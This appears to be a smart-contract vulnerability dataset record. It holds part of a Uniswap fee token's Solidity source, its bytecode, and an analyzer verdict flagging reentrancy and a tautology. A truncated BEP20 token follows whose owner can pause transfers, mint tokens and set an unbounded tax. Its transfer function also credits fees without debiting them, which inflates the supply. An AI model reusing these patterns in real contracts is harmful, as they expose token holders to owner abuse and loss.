if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610563578063dd62ed3e14610583578063ea1644d5146105c9578063f2fde38b146105e957600080fd5b8063a2a957bb146104de578063a9059cbb146104fe578063bfd792841461051e578063c3c8cd801461054e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104be57600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027c57806318160ddd146102b457806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611af7565b610609565b005b34801561020a57600080fd5b5060408051808201909152601381527229bd32b1b43ab0b71029b0bab1b29021b7b4b760691b60208201525b6040516102439190611bbc565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c11565b6106a8565b6040519015158152602001610243565b34801561028857600080fd5b5060145461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b50683635c9adc5dea000005b604051908152602001610243565b3480156102e657600080fd5b5061026c6102f5366004611c3d565b6106bf565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610243565b34801561033857600080fd5b5060155461029c906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611c7e565b610728565b34801561037857600080fd5b506101fc610387366004611cab565b610773565b34801561039857600080fd5b506101fc6107bb565b3480156103ad57600080fd5b506102cc6103bc366004611c7e565b610806565b3480156103cd57600080fd5b506101fc610828565b3480156103e257600080fd5b506101fc6103f1366004611cc6565b61089c565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611c7e565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029c565b34801561046357600080fd5b506101fc610472366004611cab565b6108db565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600881526729ad22a1a42aa0a760c11b6020820152610236565b3480156104ca57600080fd5b506101fc6104d9366004611cc6565b610923565b3480156104ea57600080fd5b506101fc6104f9366004611cdf565b610952565b34801561050a57600080fd5b5061026c610519366004611c11565b610b08565b34801561052a57600080fd5b5061026c610539366004611c7e565b60106020526000908152604090205460ff1681565b34801561055a57600080fd5b506101fc610b15565b34801561056f57600080fd5b506101fc61057e366004611d11565b610b69565b34801561058f57600080fd5b506102cc61059e366004611d95565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d557600080fd5b506101fc6105e4366004611cc6565b610c0a565b3480156105f557600080fd5b506101fc610604366004611c7e565b610c39565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161063390611dce565b60405180910390fd5b60005b81518110156106a45760016010600084848151811061066057610660611e03565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c81611e2f565b91505061063f565b5050565b60006106b5338484610d23565b5060015b92915050565b60006106cc848484610e47565b61071e843361071985604051806060016040528060288152602001611f49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611383565b610d23565b5060019392505050565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161063390611dce565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161063390611dce565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f057506013546001600160a01b0316336001600160a01b0316145b6107f957600080fd5b47610803816113bd565b50565b6001600160a01b0381166000908152600260205260408120546106b9906113f7565b6000546001600160a01b031633146108525760405162461bcd60e51b815260040161063390611dce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c65760405162461bcd60e51b815260040161063390611dce565b674563918244f4000081111561080357601655565b6000546001600160a01b031633146109055760405162461bcd60e51b815260040161063390611dce565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461094d5760405162461bcd60e51b815260040161063390611dce565b601855565b6000546001600160a01b0316331461097c5760405162461bcd60e51b815260040161063390611dce565b60048411156109db5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610633565b6014821115610a375760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610633565b6004831115610a975760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610633565b6014811115610af45760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610633565b600893909355600a91909155600955600b55565b60006106b5338484610e47565b6012546001600160a01b0316336001600160a01b03161480610b4a57506013546001600160a01b0316336001600160a01b0316145b610b5357600080fd5b6000610b5e30610806565b90506108038161147b565b6000546001600160a01b03163314610b935760405162461bcd60e51b815260040161063390611dce565b60005b82811015610c04578160056000868685818110610bb557610bb5611e03565b9050602002016020810190610bca9190611c7e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bfc81611e2f565b915050610b96565b50505050565b6000546001600160a01b03163314610c345760405162461bcd60e51b815260040161063390611dce565b601755565b6000546001600160a01b03163314610c635760405162461bcd60e51b815260040161063390611dce565b6001600160a01b038116610cc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610633565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610633565b6001600160a01b038216610de65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610633565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610633565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610633565b60008111610f6f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610633565b6000546001600160a01b03848116911614801590610f9b57506000546001600160a01b03838116911614155b1561127c57601554600160a01b900460ff16611034576000546001600160a01b038481169116146110345760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610633565b6016548111156110865760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610633565b6001600160a01b03831660009081526010602052604090205460ff161580156110c857506001600160a01b03821660009081526010602052604090205460ff16155b6111205760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610633565b6015546001600160a01b038381169116146111a5576017548161114284610806565b61114c9190611e4a565b106111a55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610633565b60006111b030610806565b6018546016549192508210159082106111c95760165491505b8080156111e05750601554600160a81b900460ff16155b80156111fa57506015546001600160a01b03868116911614155b801561120f5750601554600160b01b900460ff165b801561123457506001600160a01b03851660009081526005602052604090205460ff16155b801561125957506001600160a01b03841660009081526005602052604090205460ff16155b15611279576112678261147b565b47801561127757611277476113bd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112be57506001600160a01b03831660009081526005602052604090205460ff165b806112f057506015546001600160a01b038581169116148015906112f057506015546001600160a01b03848116911614155b156112fd57506000611377565b6015546001600160a01b03858116911614801561132857506014546001600160a01b03848116911614155b1561133a57600854600c55600954600d555b6015546001600160a01b03848116911614801561136557506014546001600160a01b03858116911614155b1561137757600a54600c55600b54600d555b610c0484848484611604565b600081848411156113a75760405162461bcd60e51b81526004016106339190611bbc565b5060006113b48486611e62565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060065482111561145e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610633565b6000611468611632565b90506114748382611655565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c3576114c3611e03565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561151757600080fd5b505afa15801561152b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154f9190611e79565b8160018151811061156257611562611e03565b6001600160a01b0392831660209182029290920101526014546115889130911684610d23565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c1908590600090869030904290600401611e96565b600060405180830381600087803b1580156115db57600080fd5b505af11580156115ef573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061161157611611611697565b61161c8484846116c5565b80610c0457610c04600e54600c55600f54600d55565b600080600061163f6117bc565b909250905061164e8282611655565b9250505090565b600061147483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117fe565b600c541580156116a75750600d54155b156116ae57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116d78761182c565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117099087611889565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173890866118cb565b6001600160a01b03891660009081526002602052604090205561175a8161192a565b6117648483611974565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117d88282611655565b8210156117f557505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361181f5760405162461bcd60e51b81526004016106339190611bbc565b5060006113b48486611f07565b60008060008060008060008060006118498a600c54600d54611998565b9250925092506000611859611632565b9050600080600061186c8e8787876119ed565b919e509c509a509598509396509194505050505091939550919395565b600061147483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611383565b6000806118d88385611e4a565b9050838110156114745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610633565b6000611934611632565b905060006119428383611a3d565b3060009081526002602052604090205490915061195f90826118cb565b30600090815260026020526040902055505050565b6006546119819083611889565b60065560075461199190826118cb565b6007555050565b60008080806119b260646119ac8989611a3d565b90611655565b905060006119c560646119ac8a89611a3d565b905060006119dd826119d78b86611889565b90611889565b9992985090965090945050505050565b60008080806119fc8886611a3d565b90506000611a0a8887611a3d565b90506000611a188888611a3d565b90506000611a2a826119d78686611889565b939b939a50919850919650505050505050565b600082611a4c575060006106b9565b6000611a588385611f29565b905082611a658583611f07565b146114745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610633565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080357600080fd5b8035611af281611ad2565b919050565b60006020808385031215611b0a57600080fd5b823567ffffffffffffffff80821115611b2257600080fd5b818501915085601f830112611b3657600080fd5b813581811115611b4857611b48611abc565b8060051b604051601f19603f83011681018181108582111715611b6d57611b6d611abc565b604052918252848201925083810185019188831115611b8b57600080fd5b938501935b82851015611bb057611ba185611ae7565b84529385019392850192611b90565b98975050505050505050565b600060208083528351808285015260005b81811015611be957858101830151858201604001528201611bcd565b81811115611bfb576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2457600080fd5b8235611c2f81611ad2565b946020939093013593505050565b600080600060608486031215611c5257600080fd5b8335611c5d81611ad2565b92506020840135611c6d81611ad2565b929592945050506040919091013590565b600060208284031215611c9057600080fd5b813561147481611ad2565b80358015158114611af257600080fd5b600060208284031215611cbd57600080fd5b61147482611c9b565b600060208284031215611cd857600080fd5b5035919050565b60008060008060808587031215611cf557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2657600080fd5b833567ffffffffffffffff80821115611d3e57600080fd5b818601915086601f830112611d5257600080fd5b813581811115611d6157600080fd5b8760208260051b8501011115611d7657600080fd5b602092830195509350611d8c9186019050611c9b565b90509250925092565b60008060408385031215611da857600080fd5b8235611db381611ad2565b91506020830135611dc381611ad2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e4357611e43611e19565b5060010190565b60008219821115611e5d57611e5d611e19565b500190565b600082821015611e7457611e74611e19565b500390565b600060208284031215611e8b57600080fd5b815161147481611ad2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ee65784516001600160a01b031683529383019391830191600101611ec1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4357611f43611e19565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203007ff30364039606901c80e35a7d0b4e391379f146d709926c25318cccbfd9864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,445 |
0xba2f318b98218fb7727261defa99017c265bdaef
|
pragma solidity 0.6.4;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
contract BEP20Token is Context, IBEP20, Initializable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
bool private _mintable;
bool private _burnable;
address private teamWallet;
bool private pauseTx = false;
uint256 public _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev sets initials supply and the owner
*/
function initialize(string memory name, string memory symbol, uint8 decimals, uint256 amount, bool mintable, bool burnable, address owner, address _teamWallet) public initializer {
_owner = owner;
_name = name;
_symbol = symbol;
_decimals = decimals;
_mintable = mintable;
_burnable = burnable;
teamWallet = _teamWallet;
_mint(owner, amount);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Returns if the token is mintable or not
*/
function mintable() external view returns (bool) {
return _mintable;
}
/**
* @dev Returns if the token is burnable or not
*/
function burnable() external view returns (bool) {
return _burnable;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return _owner;
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
function getTeamWallet() external view returns (address) {
return teamWallet;
}
function setTeamWallet(address _teamWallet) public onlyOwner {
require(_teamWallet != address(0), "Team wallet is the zero address");
teamWallet = _teamWallet;
}
function getPauseTx() external view returns (bool) {
return pauseTx;
}
function setPauseTx(bool _pauseTx) public onlyOwner {
pauseTx = _pauseTx;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
* - `_mintable` must be true
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
require(_mintable, "this token is not mintable");
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `recipient`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
* - `_mintable` must be true
*/
function mintTo(uint256 amount, address recipient) external onlyOwner returns (bool) {
require(_mintable, "this token is not mintable");
_mint(recipient, amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*
* Requirements
*
* - `_burnable` must be true
*/
function burn(uint256 amount) external returns (bool) {
require(_burnable, "this token is not burnable");
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(pauseTx != true, "Pause Transaction");
uint256 feeamount = amount.mul(_taxFee).div(10**2);
uint256 txamount = amount;
if (feeamount > 0) {
txamount = txamount.sub(feeamount);
_balances[teamWallet] = _balances[teamWallet].add(feeamount);
}
_balances[sender] = _balances[sender].sub(txamount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(txamount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
